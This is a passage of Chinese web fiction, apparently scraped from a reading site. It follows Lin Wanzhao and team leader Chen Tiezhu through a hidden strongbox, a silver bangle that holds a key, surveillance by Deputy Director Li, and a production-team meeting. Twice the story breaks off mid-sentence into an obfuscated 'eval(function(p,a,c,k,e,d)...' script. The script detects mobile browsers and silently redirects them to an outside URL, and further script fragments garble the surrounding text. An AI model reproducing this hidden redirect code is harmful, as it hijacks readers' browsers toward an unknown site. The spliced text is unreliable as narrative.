回知青点的路上,两人落在队伍最后。林晚照压低声音快速说了今天的发现:铜纽扣、账本记录、还有墙里的暗格。 陈铁柱的脸色越来越凝重:“李副主任十七年前就来过……这比我想的还复杂。” “墙里的东西,可能是当年他没找到的。”林晚照分析,“或者,是有人后来藏的。” “今晚我去看看。”陈铁柱说,“你待在知青点,别出来。” “不行,我得去。”林晚照坚持,“万一需要镯子呢?孙老不是说这是‘钥匙’吗?” 陈铁柱看了她一眼,最终妥协:“子时,老地方见。” 所谓老地方,就是祠堂外的竹林。 晚饭后,林晚照早早躺下装睡。同屋的三个人累了一天,很快都睡着了。她等到夜深人静,才悄悄起身。 夜色中的山村静得可怕。没有路灯,只有月光照出模糊的轮廓。林晚照凭着记忆往祠堂方向走,心跳得厉害。 竹林的阴影里,陈铁柱已经在等了。他换了身深色衣服,背上背着一个布包。 “走。” 两人摸黑往仓库去。周伯家就在仓库旁边,屋里黑着灯,老头应该睡了。 陈铁柱显然是做惯了这种事的,他轻手轻脚地撬开仓库后窗——那窗扇已经腐朽,锁早就坏了。 两人翻窗进去。仓库里一片漆黑,只有高窗透进的些许月光。 陈铁柱点亮一盏小煤油灯,用衣服遮住大半光线。昏黄的光圈照亮一小片区域。 “西墙第三块砖。”林晚照低声说。 两人摸到西墙。陈铁柱用手指仔细敲击砖面,果然,那块砖的声音空一些。他用小刀撬开边缘的灰缝,砖块松动了。 取下砖,后面是一个黑洞洞的方形空间。 陈铁柱伸手进去,摸出了一个铁盒——不大,和孙瘸子给的那个差不多大小,但更精致,锁扣完好。 盒子上没有灰尘,显然不久前还有人动过。 “打开看看。”林晚照说。 陈铁柱试着开锁,但锁很牢固。他皱眉:“需要钥匙。” 林晚照想起孙瘸子的话,摘下手腕上的镯子:“试试这个?” 龙凤银镯在煤油灯下泛着温润的光。陈铁柱接过镯子,仔细观察,在镯子内侧发现了一个极小的凸起。 他按下凸起,镯子发出轻微的“咔哒”声,内壁弹开一小片,露出一截精细的金属——那是一把钥匙。 两人对视一眼,都看到对方眼中的震惊。 陈铁柱用钥匙插进铁盒的锁孔,轻轻转动。 “咔嗒。” 锁开了。 盒盖掀开的瞬间,林晚照屏住了呼吸。 里面不是文件,也不是机械零件,而是一叠照片和几封信。 照片是黑白的,已经泛黄。第一张是一群年轻人的合影,背景是大学的校门,照片下方有一行小字:“中央大学机械工程系1936届毕业留念”。 林晚照一眼就认出了年轻的陈启明——站在第二排中间,戴着圆框眼镜,笑容温和。他旁边站着的人…… 是孙瘸子。那时候他还不瘸,站得笔直,脸上没有伤疤,是个清秀的青年。 第二张照片更让人心惊:是陈启明和另一个人的合影。那人穿着军装,肩章显示级别不低,两人握手,背景是一间实验室。 “这个人……”林晚照指着穿军装的人。 陈铁柱的脸色变了:“我认识他。1965年,我在县里见过他一次,他是省里来的大领导。” 信有三封。第一封是陈启明写给妻子的家书,日期是1937年11月: “婉清吾妻:见字如面。我已抵江西永丰,诸事尚顺。所托之物已妥善安置,待时局稳定即取回。若我有不测,你可凭镯子取物,内有重要之物,关乎国家未来。勿念,珍重。” 第二封没有署名,只有一行字:“鹰已折翼,巢穴三处,待后来者。”< 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脚步声在仓库里回荡。林晚照紧紧贴着粮袋,能听见自己如雷的心跳。陈铁柱的手按在她肩上,力道很稳,像是在传递“别怕”的信号。 手电光再次扫过来,这次停在了西墙。 “砖动过。”李副主任说。 脚步声往西墙去。林晚照从粮袋缝隙看见,李副主任蹲下身,用手电照着那个空洞。 “东西被拿走了。”他站起来,声音听不出情绪,“比我想的快。” “要追吗?”年轻男人问。 “不用。”李副主任笑了,笑声在空旷的仓库里显得格外诡异,“让他们找。找到最后,都是我们的。” 手电光移动,脚步声往门口去。门重新锁上。 仓库重归黑暗。 林晚照腿一软,差点瘫坐在地。陈铁柱扶住她,两人在黑暗中静静等了几分钟,确认人真的走了,才敢呼吸。 “他故意放我们走。”林晚照声音发颤。 “对。”陈铁柱说,“他想让我们当寻宝鼠,替他找到所有东西。” 两人从后窗翻出去。月光下,林晚照看见陈铁柱的脸色铁青。 “现在我们怎么办?”她问。 陈铁柱从怀里掏出铁盒,打开,取出那几张照片和信。他把李副主任那封信撕碎,撒进夜风里。 “将计就计。”他说,“他不是想让我们找吗?我们就找给他看——但不是他要的东西。” “什么意思?” 陈铁柱看着她,月光在他眼中映出冷冽的光:“我们伪造一份‘第三处埋藏点’,引他上钩。” 这个计划很大胆,也很危险。 但林晚照知道,这是目前唯一的路。李副主任在暗,他们在明,被动等待只会被吞得骨头都不剩。 “需要孙老帮忙。”她说。 “嗯。”陈铁柱点头,“明天我去找他。你现在赶紧回去,记住,今晚的事对谁都别说。” 林晚照点头,两人在竹林边分开。 她摸黑回到知青点,翻窗进屋时,发现王晓芬的床铺空着。 人不在。 林晚照心里一紧,正要出去找,门开了。王晓芬轻手轻脚地进来,看见她站在屋里,吓了一跳。 “晚照?你还没睡?” “我……我上厕所。”林晚照问,“你去哪儿了?” 王晓芬的脸在月光下红了红:“我、我去给张建军送了点东西。他手磨破了,我有点红药水……” 这个理由说得通。张建军这几天确实手伤得厉害。 林晚照松了口气:“快睡吧,明天还要干活。” 两人各自躺下。但林晚照睡不着,她睁着眼,听着王晓芬均匀的呼吸声,脑海里反复回放着仓库里的一切。 李副主任那封信的内容,让她意识到一件事:他们的对手,比想象中更狡猾,也更耐心。 她轻轻摸着手腕上的银镯。钥匙已经收回去了,镯子恢复原状,但那个秘密的机关还在。 这把能打开某个锁的钥匙,最终要打开的究竟是什么? 窗外的月光慢慢移动。 而在村子的另一头,李副主任站在窗前,看着手中的一张照片。 照片上是年轻时的陈启明和孙明远——那时候孙明远还不叫孙瘸子。 他身后,年轻男人低声问:“主任,为什么不直接抓人?” “抓人?”李副主任笑了,“抓了人,东西就永远找不到了。我要的是东西,不是人。” 他点燃一支烟,烟雾在月光中袅袅升起。 “让他们找。等东西齐了……”他弹了弹烟灰,“连人带东西,一起收网。” 窗外,夜色正浓。 山村的夜晚,安静得能听见远处的溪流声。 但在平静的表面下,暗流已经涌动。 林晚照不知道,她手腕上的镯子,正在发出只有特定仪器才能检测到的微弱信号。 而在千里之外的某个地方,一台老式电报机“嘀嗒”作响,打出一行代码: “钥匙已激活,目标锁定,等待下一步指令。” 12. 吃瓜吃到自己家 接下来的几天,红星公社看似恢复了平静。 林晚照照常上工、吃饭、睡觉,手腕上的银镯被她用布条仔细缠好,藏在袖子里。那晚在仓库发现的照片和信件,她和陈铁柱商议后,决定暂时不告诉孙瘸子——不是不信任,而是知道的人越少越安全。 但平静只是表象。 林晚照开始有意识地观察周围的人。她发现,王晓芬确实和张建军走得很近,两人常在收工后一起坐在打谷场边的石碾上说话。李秀英总爱往队干部家跑,说是请教针线活,但每次回来都神神秘秘的。刘翠翠最安静,除了干活就是看书,但林晚照注意到,她看的书里夹着几页手抄的英文单词。 每个人都有自己的秘密。 这天下午,林晚照被分配去帮三婶腌冬菜。这是相对轻松的活计,在村东头三婶家的院子里,十几个大缸排开,空气里弥漫着盐和白菜的味道。 “晚照,你刀工不错啊。”三婶看着她利落地将白菜切成均匀的条状,称赞道。 “在家常帮我妈做。”林晚照随口应着,手里的动作不停。 三婶是个爱说话的,一边往缸里撒盐一边念叨:“今年白菜长得好,能腌二十大缸。等开春青黄不接的时候,就靠这些菜下饭了。” “三婶,您家在村里很多年了吧?”林晚照试探着问。 “三代啦。”三婶自豪地说,“我爷爷那辈就在这儿。” “那您肯定知道不少村里的事。” 三婶手上的动作顿了顿,抬眼看了看林晚照:“你想打听啥?” “就是好奇。”林晚照笑得人畜无害,“我听说,以前村里有棵特别大的老槐树?” 三婶的表情微妙地变了变。她左右看看,压低声音:“你问这个干啥?” “听人提过,说那树砍了可惜。” “可惜?”三婶哼了一声,“那树不吉利。老一辈都说,树下埋着不干净的东西。” 林晚照心里一动,面上却装出害怕的样子:“真的啊?是什么东西?” 三婶把切好的白菜扔进缸里,用粗盐使劲揉搓:“说是民国时候,有人在树下埋了死孩子。后来村里闹瘟疫,死了好多人。再后来……反正树砍了之后,村里是太平了不少。” 这个说法和刘老太爷讲的故事差不多,但细节更模糊。 “那埋死孩子的人是谁啊?”林晚照继续问。 “谁知道呢。”三婶摇头,“都是几十年前的事了。不过……” 她欲言又止。 “不过什么?” 三婶犹豫了一下,声音压得更低:“我爹活着的时候说过,埋孩子的不是村里人,是外来的。穿着军装,带着枪,凶得很。” 军装。 林晚照的心跳加快了。 “后来那些人呢?” “走了,再没回来。”三婶说,“我爹说,他们埋完东西就走了,连村里都没进。” 这和孙瘸子说的又不一样。孙瘸子说陈启明是在村里养伤,而这些穿军装的人只是路过埋东西。 到底哪个版本是真的?还是说……埋东西的不止一批人? “三婶,”林晚照换了个方向,“您知道李副主任吗?就是前几天来检查迁坟的那个。” 三婶的脸色明显阴沉下来:“知道。那人……不是好东西。” “怎么这么说?” “十七年前,他也来过。”三婶的声音里带着怨气,“那年大炼钢铁,他带人来砍树。砍完树还不算,硬说村里私藏封建余毒,挨家挨户搜,搜走了不少东西。” “搜走什么了?” “能有什么?无非是老太太的银簪子,老头子的烟袋锅,还有几本旧书。”三婶愤愤道,“我奶奶有本祖传的医书,被她藏起来了。后来李副主任知道了,把我爹叫去公社关了三天,书还是被拿走了。” 林晚照想起账本上记录的“封存不明物品三件”。李副主任当年以检查为名,实际是在搜刮民财,或者……在找特定的东西。 “那医书很重要吗?”她问。 “说是清朝传下来的,里面有些治疑难杂症的方子。”三婶叹气,“我奶奶气得病了一场,没多久就去了。” 院子里沉默下来,只有切菜和揉菜的声响。 过了一会儿,三婶突然说:“晚照,你是个好孩子,婶子劝你一句——离那个李副主任远点。他看人的眼神不对,像山里饿急了的狼。” 这话说得林晚照后背发凉。 “谢谢三婶提醒。”她真诚地道谢。 傍晚时分,冬菜腌好了。三婶非要留林晚照吃饭,说是感谢她帮忙。饭菜简单但实在:玉米面贴饼子,白菜炖粉条,还切了一小碟咸鸭蛋——这在农村是待客的硬菜。 饭桌上,三婶的丈夫陈大山回来了。他是个五十多岁的汉子,话不多,但看林晚照的眼神很和善。 “多吃点,城里娃娃来乡下受苦了。”陈大山给她夹了块鸭蛋。 “叔,我听三婶说,您当年参与过砍老槐树?”林晚照趁机问。 陈大山的手顿了顿,脸色沉了下来:“你问这个干啥?” “就是好奇……” “好奇心害死猫。”陈大山打断她,语气严肃,“那树的事,别打听。” 这话说得太重,饭桌上的气氛一下子僵了。三婶打圆场:“老头子,你吓着孩子了。” 陈大山放下筷子,盯着林晚照:“女娃娃,我不管你听说了什么,但有些事不知道比知道好。那棵树……那棵树底下确实埋了东西,但不是死孩子。” 林晚照屏住呼吸。 “是军火。”陈大山一字一句地说,“我亲眼看见的。砍树那天,树根底下刨出个铁箱子,打开一看,全是枪和子弹。” 这个信息让林晚照彻底愣住了。 军火?不是技术资料? “后来呢?”她声音发干。 “后来公社来人了,把箱子拉走了。”陈大山说,“李副主任带的头。他警告我们,这事谁都不许说,说了就是‘私藏军火’的罪名。” “可是……” “没有可是。”陈大山站起来,“饭吃完了,你回去吧。今天的话,烂在肚子里。” 林晚照知道问不出更多了,起身告辞。三婶送她到门口,小声说:“你叔就这脾气,别往心里去。但那树的事,真的别问了,对你好。” 回知青点的路上,林晚照的脑子乱成一团。 军火?技术资料?死孩子?到底哪个是真的?还是说……都是真的? 她突然想起孙瘸子说的“双重埋藏”——表层是掩人耳目的东西,深层才是真货。如果陈大山看到的是表层军火,那么深层的技术资料可能还在下面。 但李副主任当年拉走了军火,为什么十七年后又回来找?他没找到深层的东西?还是说,军火本身也是他想要的? 快到知青点时,她遇见了陈铁柱。他刚从公社回来,推着辆破自行车,车后座上捆着两袋化肥。 “队长。”林晚照打招呼。 陈铁柱停下来,左右看看没人,低声说:“我查到了点东西。” “什么?” “李副主任全名叫李国华,1962年从外地调来永丰县,之前在省军工局工作。” 军工局。 这三个字像一道闪电劈进林晚照的脑海。 “他找的不是普通资料,”她脱口而出,“是军工技术!” 陈铁柱的瞳孔收缩:“你确定?” “陈大山说,老槐树下挖出过军火。”林晚照快速把今天听到的信息告诉他,“如果李国华当年在军工局工作,那他很可能知道‘鹰计划’的真实性质——那不是民用航空发动机,是军用技术!” 两人对视,都看到了对方眼中的震惊。 如果“鹰计划”涉及军用航空技术,那一切就说得通了。为什么陈启明要分三处藏匿,为什么孙瘸子要隐姓埋名三十八年,为什么李国华十七年后还要回来找。 这些资料的价值,足以让任何势力眼红。 “还有更糟的。”陈铁柱的声音发沉,“我托县里的朋友打听,李国华上个月去了趟省城,见了几个特殊部门的人。” “什么部门?” “他没说清楚,但暗示是‘国家安全相关’。”陈铁柱握紧车把,“如果李国华真是那边的人,我们现在做的每一件事,可能都在被监视。” 夜色渐浓,山村的炊烟袅袅升起。远处传来母亲唤孩子回家吃饭的声音,狗吠声此起彼伏。这一切看似平静,但林晚照却感到一股寒意从脚底升起。 她想起三婶的话:“他看人的眼神不对,像山里饿急了的狼。” “我们现在怎么办?”她问。 “按原计划。”陈铁柱说,“但得更小心。明天我去找孙老,把新情况告诉他。你继续观察,但别主动打听,容易打草惊蛇。” “好。” 两人分开后,林晚照回到知青点。晚饭是红薯粥和咸菜,她食不知味地吃着,脑子里全是今天听到的信息。 王晓芬凑过来:“晚照,你今天去三婶家帮忙了?听说她家腌的咸菜特别好吃。” “嗯,腌了二十大缸。”林晚照随口应着。 “真好。”王晓芬羡慕地说,“我要是也能像三婶那样能干就好了。” 李秀英插嘴:“你能干?得了吧,昨天让你缝个扣子都缝歪了。” “我那不是不熟练嘛……” 女孩子们叽叽喳喳地斗嘴,林晚照却心不在焉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但有没有可能……是装的? 林晚照退出空间,回到现实。同屋的三个人都在熟睡,王晓芬的床铺传来均匀的呼吸声。 她悄悄起身,走到王晓芬床边。 月光从窗户照进来,落在王晓芬脸上。那张圆脸在睡梦中显得天真无邪,嘴角还带着一丝笑意,像是在做美梦。 林晚照仔细看她的手腕、脖颈、耳后——没有易容的痕迹,也没有监听设备的迹象。 难道沈红梅说的是别的意思? 她正要退回自己床边,突然看见王晓芬枕头下露出一角纸张。 那是一封信,信封已经拆开。 林晚照犹豫了一秒,轻轻抽出那封信。信纸上的字迹很工整: “晓芬吾妹:见信如面。家中一切安好,勿念。你大哥工作已定,二弟学业进步。唯母亲身体欠佳,时常念叨你。你在乡下务必保重,凡事多听领导安排,勿惹是非。另,若见特殊物品或听到特别消息,可告知李副主任,他会转达家中。父字。” 落款日期是十天前。 林晚照的手开始发抖。 “若见特殊物品或听到特别消息,可告知李副主任”——这句话再明显不过了。王晓芬的父亲在暗示女儿,要她给李国华当眼线。 她把信按原样塞回枕头下,退回自己床上,心脏狂跳。 现在她明白了。王晓芬不是装的,她是被家人要求的。那个胆小爱哭的女孩,可能根本不知道自己卷进了什么,只是听从父亲的嘱咐,把看到听到的告诉李副主任。 但李国华要她监视什么?是林晚照?还是整个知青点? 夜色深沉。 林晚照睁着眼睛,看着黑暗中的房梁。她想起了沈红梅的警告,想起了陈铁柱的提醒,想起了三婶的话。 这个看似平静的山村,每个人都在演戏。 每个人都有自己的秘密。 而她,正站在所有秘密的交汇点。 窗外的月亮慢慢移动,月光照在她手腕上,银镯在衣袖下微微发烫。 而在村子的另一端,李国华站在窗前,手里拿着一份刚收到的电报。 电报只有一行字: “钥匙信号持续活跃,确认持有者为林晚照。按计划执行第二阶段。” 他点燃火柴,将电报烧成灰烬。 火光在他脸上跳动,映出一丝冷酷的笑意。 “游戏开始了。”他轻声说。 13. 生产队大会 清晨的雾气还没散尽,晒谷场上已经黑压压站满了人。 全村男女老少,只要还能走动的,都来了。今天是一月一次的生产队全体大会,要公布上个月的工分决算,安排下个月的生产任务,还要进行政治学习。 林晚照站在知青队伍里,目光扫过人群。她看见陈铁柱站在碾谷子的石碾上,手里拿着个铁皮喇叭,正和几个队干部低声商量着什么。孙瘸子缩在人群最外围的角落里,拄着拐杖,低眉顺眼,像个再普通不过的老农。李国华不在——他昨天已经回公社了,但林晚照知道,他的眼线还在。 王晓芬紧挨着她站着,小声说:“晚照,我有点紧张。” “紧张什么?”林晚照侧头看她。 “我……我怕我家工分不够。”王晓芬咬着嘴唇,“我爸来信说,家里等钱用。” 这话半真半假。林晚照想起那封信的内容,心里涌起复杂的情绪。王晓芬确实需要钱,但她父亲让她做的事,远比挣工分危险。 “开始了。”旁边的李秀英提醒。 陈铁柱举起喇叭,清了清嗓子:“安静!现在开会!” 嘈杂的人声渐渐平息,只剩风吹过晒谷场边老槐树桩的“呜呜”声——那树桩还在,三十八年了还没烂透。 “第一项,公布十月份工分决算。”陈铁柱翻开手里的小本子,“全队总工分十一万八千七百四十二分,决算单价八分三厘,比上年涨了三厘!” 底下响起一阵兴奋的议论声。工分单价上涨,意味着同样的劳动能换更多钱。 “别高兴太早。”陈铁柱泼了盆冷水,“粮价也涨了,算下来跟去年差不多。现在念个人工分,念到名字的上来领钱。” 会计开始点名,一个接一个的社员上前,按手印,领走薄薄的一叠毛票。大多数人脸上都是麻木的——辛辛苦苦干一个月,到手的钱勉强够买盐买油,稍微添置点东西就得借钱。 轮到知青时,林晚照听到自己的名字:“林晚照,总工分一百九十七分,应得十六块三毛五,扣除口粮菜金十二块八,实发三块五毛五。” 三块五毛五。 她在心里算了一下,按这个速度,一年下来能攒四十块钱。除去必要开支,能存下二十块就不错了。这点钱,别说为高考做准备,连买身像样的衣服都不够。 “晚照,你好厉害!”王晓芬领完钱回来,羡慕地说,“我才两块一毛二。” “你干活比我慢,慢慢就好了。”林晚照安慰她,同时注意着王晓芬的表情——那种羡慕是真实的,不像是演戏。 或许,这个女孩真的不知道父亲信里的含义。她只是照做,就像小时候听父母的话一样。 工分发完,陈铁柱开始讲下个月的生产任务:“十一月主要三件事:一是冬小麦播种,二是修水渠扫尾,三是准备冬季积肥。男劳力……” 他分配得很仔细,谁家负责哪块地,哪天完成,都说得清清楚楚。林晚照一边听,一边用弹幕系统扫描全场。 【前排左三穿蓝褂妇女:焦虑值65%,家中病儿需钱买药】 【中间戴毡帽老汉:对陈铁柱分配不满,认为自家地分得不好】 【后排两个年轻后生:盘算晚上去邻村偷鸡】 都是些鸡毛蒜皮的信息。但当她扫到孙瘸子时,弹幕突然变了: 【孙明远(孙瘸子):高度警惕状态,注意右侧穿灰衣男子】 【灰衣男子:身份不明,右袖口有暗色污渍(疑似血迹),腰间藏有短棍】 林晚照心头一紧,顺着提示看向孙瘸子右侧。果然有个穿灰色中山装的男人,四十多岁,面生,不是本村人。他站在人群边缘,看似随意,但眼神锐利,时不时扫过陈铁柱和林晚照的方向。 李国华的人。 她不动声色地收回目光,心里却翻江倒海。监视已经这么明目张胆了? “政治学习时间!”陈铁柱宣布下一项,“学习最新指示:‘深挖洞,广积粮,不称霸’!” 这是1970年代初的著名口号。社员们显然听惯了,一个个站得笔直,表情严肃,但眼神飘忽,心思早飞到了别处。 只有那些知青们还认真听着——这是表现政治觉悟的机会。 学习结束后,陈铁柱又说:“还有件事。公社通知,要搞冬季扫盲班,晚上七点到九点,在队部上课。自愿报名,但……知青必须参加。” 底下响起几声哀叹。累了一天,晚上还要上课,谁都打怵。 “林晚照。”陈铁柱突然点名,“你文化程度高,负责教妇女班。” “我?”林晚照一愣。 “对,就是你。”陈铁柱看着她,“有问题吗?” “……没有。” “那就这么定了。散会!” 人群像开闸的水,哗啦啦散开。林晚照刚要离开,陈铁柱走过来:“林同志,留一下,跟你说说扫盲班的事。” 等人都走远了,陈铁柱压低声音:“刚才那个人,看见了吗?” “灰衣服那个?” “嗯。”陈铁柱点头,“李国华留下的。不止他一个,村里至少还有三个生面孔。” “他们想干什么?” “不知道,但肯定不是好事。”陈铁柱说,“扫盲班是个机会,晚上队部人多眼杂,我们可以趁乱碰头。孙老晚上也会来,他识字,可以当‘学员’。” 这个安排很巧妙。扫盲班是集体活动,没人会怀疑。 “王晓芬呢?”林晚照问,“她父亲……” “我知道。”陈铁柱打断她,“孙老昨天告诉我了。先别打草惊蛇,该怎样还怎样,但要小心她听到什么。” “好。” 两人分开后,林晚照往知青点走。路过村口的老槐树桩时,她停下脚步,伸手摸了摸那粗糙的断面。 三十八年了,这棵树见证了多少秘密? “你也对这树桩感兴趣?” 一个声音突然在身后响起。林晚照转身,看见那个灰衣男人不知何时跟了上来,正笑眯眯地看着她。 “随便看看。”她保持镇定。 “听说这树底下埋过东西。”灰衣男人走近几步,“你不好奇是什么吗?” “老辈人的传说,有什么好奇的。” “是吗?”灰衣男人盯着她,“可我听说,你最近常打听这树的事。” 林晚照的心跳加速,但面上平静:“我就是好奇,随便问问。” “随便问问……”灰衣男人重复着,突然伸手,“手腕上戴的什么?挺好看。” 他的动作很快,但林晚照更快,一缩手避开了:“就是普通镯子。” “让我看看。”灰衣男人的笑容冷了下来,“说不定我认识。” “没必要。”林晚照后退一步,“我要回去做饭了。” 她转身要走,灰衣男人却拦住去路:“别急着走嘛。李主任让我多关照你,说你一个城里来的女娃娃,在乡下不容易。” 这话听着像关心,实则威胁。 “谢谢李主任关心。”林晚照不卑不亢,“但我能照顾好自己。” 两人对视。灰衣男人的眼神像刀子,林晚照毫不退缩地迎上去。 僵持了几秒,灰衣男人突然笑了:“行,那你忙。不过林同志,有句话我得提醒你——这乡下不比城里,有些事,不知道比知道好。” 这话陈大山也说过。 林晚照点头:“我记住了。” 看着灰衣男人离开的背影,她才发现自己手心全是汗。刚才那一瞬间,她真以为对方要动手。 回到知青点,王晓芬正在灶台前忙活。见林晚照回来,她高兴地说:“晚照,今天轮到我做饭,我做了玉米面糊糊,还放了点野菜!” “辛苦了。”林晚照洗了手帮忙。 吃饭时,她状似无意地问:“晓芬,你父亲来信说,让你有事找李副主任?” 王晓芬的勺子“哐当”一声掉进碗里。 “你、你怎么知道?” “你枕头下的信,我不小心看到了。”林晚照实话实说,“对不起,我不是故意的。” 王晓芬的脸涨得通红,眼睛一下子湿了:“晚照,我……我不是故意瞒你的。我爸说,李副主任是他老朋友,让我有事就找他帮忙。但我什么都没说,真的!” 看她急得快哭了,林晚照相信她说的是实话。 “别哭,我没怪你。”她拍拍王晓芬的肩,“就是提醒你,李副主任那个人……不简单。你父亲让你找他,可能不知道他是什么样的人。” “什么意思?” “我也说不清楚。”林晚照斟酌着词句,“但你看,他一来就查这查那,还留人在村里监视。这种人,咱们最好离远点。” 王晓芬咬着嘴唇,点头:“嗯,我听你的。” 晚饭后,扫盲班第一次开课。 队部里挤满了人,大多是妇女和半大孩子,也有几个年轻后生凑热闹。煤油灯点了三盏,墙上挂着块小黑板,粉笔是从学校借来的。 林晚照站在黑板前,深吸一口气。她前世做过家教,教课不陌生,但面对这么多双眼睛,还是有点紧张。 “今天我们先学最常用的字。”她在黑板上写下“人”、“口”、“手”、“田”。 “人,就是我们自己。口,用来吃饭说话。手,用来劳动。田,我们种粮食的地方。” 她教得认真,底下的人也学得认真。这个年代的农民,很多人一辈子不识字,能学几个字是难得的机会。 孙瘸子坐在最后一排的角落里,低着头,像个害羞的老头。但林晚照注意到,他其实在认真听,手指还在膝盖上比划着。 课间休息时,陈铁柱进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854263|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来送开水。他借着倒水的机会,低声对林晚照说:“祠堂,子时。” 林晚照几不可察地点头。 第二节课教数字和简单计算。当林晚照讲到“工分怎么算”时,底下的人格外专注——这关系到他们的切身利益。 “比如你一天挣八个工分,一个月干二十五天,就是两百个工分。一个工分八分三厘,两百个工分就是……” 她在黑板上列算式,底下有人跟着算,有人挠头。 突然,队部的门被推开了。 灰衣男人走进来,身后跟着两个陌生人。三人站在门口,也不说话,就那么看着。 课堂气氛一下子凝固了。 林晚照停下板书:“同志,有事吗?” “没事,就是看看。”灰衣男人笑了,“扫盲班办得好啊,提高群众文化水平。你们继续。” 话虽这么说,三人却没走,就站在门口盯着。 林晚照知道,这是赤裸裸的监视。她定了定神,继续讲课,但能感觉到,底下的学员都紧张起来,没人敢大声说话。 好不容易熬到九点下课,人们像逃难似的匆匆离开。 林晚照收拾教具时,灰衣男人走过来:“林老师教得不错。” “过奖了。” “不过……”灰衣男人压低声音,“我听说,老槐树下埋的东西,有人最近在找。林老师知道是谁吗?” 来了。正题。 林晚照抬头看他:“我不知道你在说什么。” “是吗?”灰衣男人从怀里掏出个小本子,翻开,“十月二十八日,你向刘老太爷打听老槐树。十月三十日,你在仓库‘捡到’铁片。十一月二日夜,你和陈铁柱去祠堂。十一月三日夜,你们又去了仓库……” 他一桩桩说着,时间、地点、人物,全对得上。 林晚照的后背渗出冷汗。他们的一举一动,全在监视之下。 “我们在找陈启明烈士的遗物。”她突然说。 灰衣男人愣住了。 “陈启明,1937年为保护国家技术资料牺牲。”林晚照盯着他,“他的后人委托我,找回家人遗物。这有问题吗?” 这个理由她早就想好了。既然对方知道她在找东西,不如大方承认,但换个说法。 灰衣男人眯起眼:“烈士遗物?什么遗物?” “一些私人物品,书信、照片之类的。”林晚照说,“陈启明烈士牺牲前,把东西藏在这里,只有后人凭信物才能取回。” “信物?” 林晚照举起手腕,露出银镯:“就是这个。陈启明烈士留给妻子的凭证。” 灰衣男人盯着镯子看了很久,突然笑了:“林同志真会说话。不过你说得对,烈士遗物确实应该归还后人。这样吧,你把东西找齐,交给我,我替你转交。” “不必了。”林晚照收回手,“我要亲手交给陈家人。” 两人的目光在空中交锋。 “行。”灰衣男人最终让步,“那你慢慢找。不过林同志,找东西可以,但别找不该找的。有些东西,找到了是祸不是福。” “我明白。” 灰衣男人走了。林晚照站在空荡荡的队部里,腿有些发软。 刚才那一番交锋,看似她占了上风,但实际上对方已经明确警告:他们知道一切,只是暂时不动手。 她在等什么?等他们找到所有东西? 林晚照收拾好东西,吹灭煤油灯,走出队部。夜色中的山村静悄悄的,只有远处偶尔传来几声狗吠。 她抬头看天,月亮被云层遮住,星光暗淡。 离子时还有两个时辰。她需要去祠堂见陈铁柱和孙瘸子,商量对策。 但刚走出不远,她就感觉到有人在跟踪。 不是灰衣男人,是另一个人——脚步很轻,但确实在身后。 林晚照加快脚步,那人也加快。她拐进小巷,那人也拐进来。 就在她准备喊人时,一个声音在身后响起: “别怕,是我。” 王晓芬从阴影里走出来,脸色苍白。 “晓芬?你怎么……” “晚照,对不起。”王晓芬的眼泪掉下来,“刚才那个人……他找过我了。他说,如果我不把听到的告诉你,就……就让我家倒霉。” 林晚照的心沉了下去。 “他让你告诉我什么?” “他说……”王晓芬哽咽着,“他说他知道你和陈队长在找东西。如果三天内不交出来,就……就举报你们‘盗窃国家文物’。” 月光从云层缝隙漏下来,照在两个女孩脸上。 一个满脸泪痕,一个神色凝重。 “他还说,”王晓芬的声音低得几乎听不见,“他知道你不是原来的林晚照。” 这句话,像一道惊雷,劈碎了夜晚的宁静。 14. 祠堂密谋 月色被厚重的云层吞噬,祠堂隐在墨一般的黑暗里,只有风声穿过破损的窗棂,发出呜咽般的声响。 林晚照紧跟在陈铁柱身后,两人沿着村后的小径疾行。王晓芬带来的消息像一块冰压在心头,但此刻不是慌乱的时候——子时已到,孙瘸子还在祠堂等着。 祠堂的后门虚掩着,陈铁柱侧身闪入,林晚照紧随其后。黑暗中,一点豆大的灯火亮起,孙瘸子坐在供桌旁的破蒲团上,那张布满皱纹的脸在摇曳的灯光中显得格外苍老。 “都知道了?”孙瘸子开门见山。 林晚照点头,将王晓芬的话复述了一遍。当说到“他知道你不是原来的林晚照”时,孙瘸子和陈铁柱同时抬起头,眼神锐利。 “这话什么意思?”孙瘸子问。 林晚照深吸一口气,决定不再隐瞒。她褪下左腕的银镯,放在供桌上:“孙老,您说过这对镯子是陈启明烈士留给妻子的信物。但我戴上它们后,能看见一些……不该看见的东西。” 她简略描述了弹幕系统和空间的存在,省略了沈红梅的具体信息,只说是一个已故之人的托付。孙瘸子听着,那双老眼在昏暗中越来越亮。 “怪不得……”他喃喃道,“陈老师临终前说,钥匙会自己找到主人。原来不是指后人,是指有缘人。” “钥匙?”陈铁柱皱眉。 孙瘸子站起身,跛着腿走到祠堂东墙,在某块青砖上按了三下。墙面发出轻微的“咔哒”声,一块砖向内凹陷,露出一个狭小的暗格。 他从暗格里取出一个油布包,打开来——里面是一本线装笔记,封皮已经泛黄。 “这是陈老师的实验笔记。”孙瘸子将笔记递给林晚照,“他最后那几天,神志时清时醒,总在写写画画。我以为他是烧糊涂了,但现在看来……” 林晚照翻开笔记。前几页是正常的机械图纸和计算,但从中间开始,字迹变得凌乱,内容也越发诡异: “三月七日,实验体37号出现异常波动……能量读数超出阈值……疑似跨时空共振……” “三月十五日,确认共振源为1937年埋藏点……钥匙必须回收……” “四月二日,我看见了……未来的碎片……那是地狱,也是希望……” 最后几页几乎是癫狂的涂鸦,画满了奇怪的符号和循环的线条。但在最后一页,有一行相对清晰的文字: 